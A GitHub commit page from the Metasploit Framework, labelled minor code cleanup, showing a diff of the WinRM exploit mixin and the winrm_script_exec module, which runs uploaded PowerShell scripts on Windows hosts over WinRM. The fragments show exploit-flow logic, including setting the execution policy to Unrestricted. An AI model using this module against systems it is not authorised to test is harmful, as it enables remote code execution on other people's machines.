Skip to content

Commit fca8208

Browse files
David MaloneyDavid Maloney
authored andcommitted
Some minor code cleanup
1 parent f69ccc7 commit fca8208

File tree

2 files changed

+11
-15
lines changed

2 files changed

+11
-15
lines changed

lib/msf/core/exploit/winrm.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,16 +189,19 @@ def parse_wql_response(response)
189189
end
190190

191191
def winrm_get_shell_id(response)
192+
return nil if response.nil?
192193
xml = response.body
193194
shell_id = REXML::Document.new(xml).elements["//w:Selector"].text
194195
end
195196

196197
def winrm_get_cmd_id(response)
198+
return nil if response.nil?
197199
xml = response.body
198200
cmd_id = REXML::Document.new(xml).elements["//rsp:CommandId"].text
199201
end
200202

201203
def winrm_get_cmd_streams(response)
204+
return nil if response.nil?
202205
streams = {
203206
'stdout' => '',
204207
'stderr' => '',

modules/exploits/windows/winrm/winrm_script_exec.rb

Lines changed: 8 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -74,6 +74,8 @@ def check
7474
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
7575
return Msf::Exploit::CheckCode::Safe
7676
end
77+
78+
return Msf::Exploit::CheckCode::Vulnerable
7779
end
7880

7981
def powershell2?
@@ -116,12 +118,16 @@ def powershell2?
116118
end
117119
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
118120
if streams['stdout'].include? 'Unrestricted'
121+
print_good "Set Execution Policy Successfully"
119122
return true
120123
end
121124
return false
122125
end
123126

124127
def exploit
128+
unless check == Msf::Exploit::CheckCode::Vulnerable
129+
return
130+
end
125131
if powershell2?
126132
path = upload_script
127133
return if path.nil?
@@ -167,20 +173,7 @@ def upload_script
167173
def exec_script(path)
168174
print_status "Attempting to execute script..."
169175
cmd = "powershell -File #{path}"
170-
resp,c = send_request_ntlm(winrm_open_shell_msg)
171-
if resp.nil?
172-
print_error "Got no reply from target"
173-
return
174-
end
175-
unless resp.code == 200
176-
print_error "Got unexpected response from #{ip}: \n #{resp.to_s}"
177-
return
178-
end
179-
shell_id = winrm_get_shell_id(resp)
180-
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
181-
cmd_id = winrm_get_cmd_id(resp)
182-
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
183-
streams = winrm_get_cmd_streams(resp)
176+
winrm_run_cmd_hanging(cmd)
184177
end
185178

186179
def encoded_psh(script)
@@ -210,6 +203,6 @@ def temp_dir
210203
return streams['stdout'].chomp
211204
end
212205

213-
206+
214207

215208
end

0 commit comments

Comments
 (0)